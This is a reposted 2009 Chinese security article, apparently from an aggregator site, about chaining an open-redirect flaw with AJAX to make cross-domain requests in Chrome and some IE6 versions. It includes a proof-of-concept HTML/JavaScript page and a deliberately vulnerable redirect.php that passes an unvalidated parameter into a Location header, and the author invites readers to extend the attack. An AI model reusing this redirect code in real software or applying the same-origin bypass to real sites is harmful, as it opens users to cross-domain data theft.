当前位置:七道奇文章资讯安全技术网络技术
日期:2009-05-16 13:39:00  来源:本站整理

AJAX结合URL转发漏洞跨域提交数据[网络技术]

赞助商链接



  本文“AJAX结合URL转发漏洞跨域提交数据[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

by 空虚荡子心

Chrome浏览器,在利用ajax的时刻,通过url转发漏洞的配合,可以跨域提交数据(但是不能读取返回数据).

IE6的某些版本(不知道是什么版本,在家里和某个网吧成功了),通过用户点"肯定"后,也是可以跨域提交并读取数据的.

通过url转发漏洞,才可以跨域.

下面是数据流程:


hack58.net/article/UploadPic/2009-5/20095161043821.jpg" width=490 style="cursor:pointer;"/>
先恳求存在URL转发漏洞的页面redirect.php.该页面返回"location : www.target.com".

于是浏览器又恳求了一次www.target.com.

在这里,FF和IE7以上,以及IE6某些无漏洞的版本,都是爆出权限错误的.

Chrome的漏洞:

Chrome在ajax接到302跳转之后,会给www.target.com发一个get恳求的包,而www.target.com就返回了数据.

惋惜返回数据后,js中的xmlhttp并没有办法读取返回的数据.不然漏洞就大了.

如图是paros得到的数据包:

hack58.net/article/UploadPic/2009-5/20095161044433.jpg" width=500 style="cursor:pointer;"/>

-----------------------------------------

IE6某些版本存在漏洞:

但是IE6的某些版本,通过用户的确认后,便可以跨域读取数据了:
hack58.net/article/UploadPic/2009-5/20095161044787.jpg" width=500 style="cursor:pointer;"/>


用户普通会点肯定.


hack58.net/article/UploadPic/2009-5/20095161044952.jpg" width=500 style="cursor:pointer;"/>
点了肯定后,alert出sohu那边抓来的信息.

下面是代码:

XML/HTML代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0046)http://www.inbreak.net/kxlzxtest/haha/ajax.htm -->
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content="MSHTML 6.00.6000.16825" name=GENERATOR></HEAD>
<BODY>
<DIV id=divid height="600" width="600" ><INPUT onclick=doMyAjax() type=button value=aaa> </DIV>
<SCRIPT>
var xmlHttp;
var tmpdiv;
function createXMLHttp(){
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function startRequest(doUrl){
createXMLHttp();
xmlHttp.open("GET", doUrl, false);

xmlHttp.send(null);
setTimeout("alert(xmlHttp.responseText)",3000);
}
function doMyAjax()
{
var time = Math.random();
var strPer = 'http://www.inbreak.net/kxlzxtest/haha/redirect.php?done=http://www.sohu.com'+String.fromCharCode(38)+'time='+time;
startRequest(strPer);

}

</SCRIPT>
</BODY></HTML>

请注意,在利用的时刻,因为是get恳求,而done需求的变量中有"&"标记,所以必须利用" String.fromCharCode(38) "来替换.不然会产生截断.

redirect.php代码很简单:

PHP代码
<?php
$kxlzx = "Location: ".$_GET["done"];
header($kxlzx);
exit;
?>

关于chrome这里,没办法读取目标域返回的数据,深感遗憾,所以发出来这篇文章,大家想想办法.


  以上是“AJAX结合URL转发漏洞跨域提交数据[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 基于JSON的高级AJAX开辟技术
  • Eclipse富Ajax开辟平台在CAS Software AG项目中的操纵
  • DWR的注释(annotations)操纵及反向调用(Reverse Ajax)
  • ASP.NET中AJAX乱码办理办法
  • AJAX结合PHP代码实现登录
  • AJAX结合URL转发漏洞跨域提交数据
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .